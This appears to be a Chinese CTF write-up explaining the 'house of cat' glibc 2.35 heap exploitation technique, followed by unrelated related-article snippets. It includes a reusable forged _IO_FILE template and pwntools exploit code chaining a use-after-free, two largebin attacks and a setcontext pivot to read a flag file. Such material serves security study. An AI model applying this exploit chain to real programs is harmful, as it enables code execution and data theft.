house of cat
调用方法
调用链1
house of cat调用链
__malloc_assert 在 2.35 的 glibc 中源码如下
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
调用链
_malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
在__vfprintf_internal函数中,是利用vtable来调用的,将 _IO_2_1_stderr 结构体中的 vtable _IO_file_seekoff 的地址,这样原本跳转执行 _IO_file_xsputn 时,实际上执行的是_IO_wfile_seekoff
在_IO_wfile_seekoff函数中
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
......
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
调用 _IO_switch_to_wget_mode
plain _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ...... } |
---|
执行_IO_WOVERFLOW ,该函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, _wide_vtable 是我们可控的,将这个位置改成setcontext+61,其实也是一样的思想进行orw
继续跟进
查看一下伪造的fakechunk
如果开了沙盒,将此处改成setcontext就可以进行orw了
其实io的利用手法都是这样子
模版
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
例题
强网杯house ofcat
开头会有验证,逆向之后发现
先输入一次 :LOGIN | r00t QWB QWXFadmin
然后每次循环要输入:CAT | r00t QWB QWXF\xff$就可以进行完整的功能
程序功能
增删查改
edit 函数只能使用两次,并且只能写入 0x30 字节的数据
如果是emma打的话,第一次修改就进行largebin attack劫持stderr
第二次修改largebin attack劫持__pointer_chk_guard
delete 函数存在 UAF 漏洞
add 函数申请的堆块大小的范围是 0x418~0x46f ,申请完堆块后可以向里面写入 size 字节的数据
show 函数只能泄露 0x30 字节的数据,正常的show功能
思路
泄露libc 之后
一次edit功能第一次largebin attack攻击,改stderr为我们的堆地址,在该堆地址上写入fake_IO
第二次edit功能,第二次largebin attack攻击,改top_chunk的size,再申请会触发malloc_assert
漏洞利用
泄露libc
add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
print('heap_base',hex(heap_base))
第一次largebin attack修改stderr
fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)
flag_addr=heap_base+0x1c00
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')
第二次largebin attack
add(5,0x440,'small')
add(7,0x430,'./flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
触发
house of cat的更多相关文章
- 基于Cat的分布式调用追踪
Cat是美团点评出的一款APM工具,同类的产品也有不少,知名的开源产品如zipkin和pinpoint:国内收费的产品如oneapm.考虑到Cat在互联网公司的应用比较广,因此被纳入选型队列,我也有幸 ...
- mkdir,rmdir,cp,rm,mv,cat,touch用法
一.mkdir新建目录 1.进入tmp目录,查看该目录下面的子目录 [root@localhost ~]# cd /tmp[root@localhost tmp]# lshsperfdata_root ...
- 大众点评cat系统的搭建笔记
项目地址:https://github.com/dianping/cat 编译步骤: 这个项目比较另类,把编译需要的jar包,单独放在git分支mvn-repo里了,而且官方文档里给了一个错误的命令提 ...
- cat命令使用
cat:concatenate files and print on the standard output合并文件并输出 主要用法 1.cat f1.txt,查看f1.txt文件的内容. 2.cat ...
- cat命令
[cat] 合并文件和打印到标准输出 命令格式: cat [OPTION]... [FILE]... 命令功能: 拼接文件或者做标准输入输出 命令格式: cat [OPTION].. ...
- 查看cpu的信息cat /proc/cpuinfo
cat /proc/cpuinfo processor : vendor_id : GenuineIntel cpu family : model : model name : Intel(R) Co ...
- linux cat 命令详解
linux cat 命令详解 http://linux.chinaunix.net/techdoc/system/2007/11/16/972467.shtml adb shell su //这个不一 ...
- 部署点评Cat监控项目(转)
原文地址:http://www.bubuko.com/infodetail-986338.html 在项目中监控代码运行的状况,可以采用点评的Cat项目来监控整个项目,但是按照官方的文档来部署cat, ...
- cat /proc/devices 和ls /dev
对于新手来讲,linux的框架实在是太庞大,况且很多知识点需自己做才能理解 设备 文件 ,设备编号 #ll -a /dev 在每一行都可以看到设备文件.设备编号(主.次) 对于每种硬件设备,系统 ...
- elasticsearch【cat API,系统数据】指令汇总
本博文讲述的ES获取系统数据的API是基于Elasticsearch 2.4.1版本的. 0. overview a. 下面将要介绍的所有的指令,都支持一个查询参数v(verbose),用来显示详细的 ...
随机推荐
- Unreal使用GooglePAD生成AAB包,并加在fast-follow资源
1.修改obbfilter,设置需要添加到obb的pak文件 2.修改项目设置,打AAB包 3.cook stage生成所有Paks文件 4.将部分pak文件拷贝到Intermediate/Andro ...
- Win32_GDI_绘制文字路径透明窗口
效果图: 前面字体是个透明窗口 后面是桌面背景 代码实现: void MyMainDialog::TextPathWindow(LPCTSTR lpShowText) { HDC hdc = GetD ...
- Win32 拆分窗口
前两天学习了MFC的拆分窗口,今天来学习Win32 SDK下如何拆分窗口. win32是没有像MFC那样直接有函数方法拆分窗口,只能自己处理了. 1.在WM_CREATE消息中创建两个控件,TreeV ...
- LaTeX cleveref 宏包用法
介绍 cleveref 宏包是 LaTeX 中用于增强交叉引用功能的一个强大工具.它的主要特点是能够自动地按照不同元素的类型(如章节.图表等)生成格式化的引用,同时还支持定制引用格式,提供了比 LaT ...
- Spring:基于注解管理bean
标记与扫描 注解 和 XML 配置文件一样,注解本身并不能执行,注解本身仅仅只是做一个标记,具体的功能是框架检测 到注解标记的位置,然后针对这个位置按照注解标记的功能来执行具体操作. 本质上:所有一切 ...
- pgsql 查询及更新json字段的某个属性
pgsql 查询及更新json字段的某个属性 一.查询json字段中的某个属性 查询 t_user 表中json 字段 info 中的 name 属性 select info ->> 'n ...
- fluent python-chap2
1. 内置序列类型 容器序列: list tuple collections.deque 可以存放不同类型的数据. 存放的是它们所包含的任意类型的对象的引用. 扁平序列: str bytes byte ...
- Maven高级——分模块开发与设计
分模块开发的意义 将原始模块按照功能拆分成若干个子模块,方便模块间的相互调用,接口共享 分模块开发 创建Maven工程 书写模块代码 注意:分模块开发需要先针对模块功能进行设计,再进行编码.不会先将工 ...
- 【YashanDB知识库】如何dump数据文件,转换rowid, 查询对应内容
本文来自YashanDB官网,具体内容可见https://www.yashandb.com/newsinfo/7459464.html?templateId=1718516 问题现象 客户环境有时候会 ...
- QQ或者微信可以放昵称的超好看的符号
☪︎⋆ ✯ ⛈ •ᴗ• •ᴥ• ◔.̮◔ ᕱ ᕱ ⸝⸝· ᴥ ·⸝⸝ ʕ·͡ˑ·ཻʔ ʕ•̫͡•ོʔ ˃̣̣̥᷄⌓˂̣̣̥᷅ °꒰'ꀾ'꒱° ⋆ᶿ̵᷄ ˒̼ ᶿ̵᷅⋆ ˙ϖ˙ ⚝ ︎ .˗ˏˋ♡ˎˊ˗ ...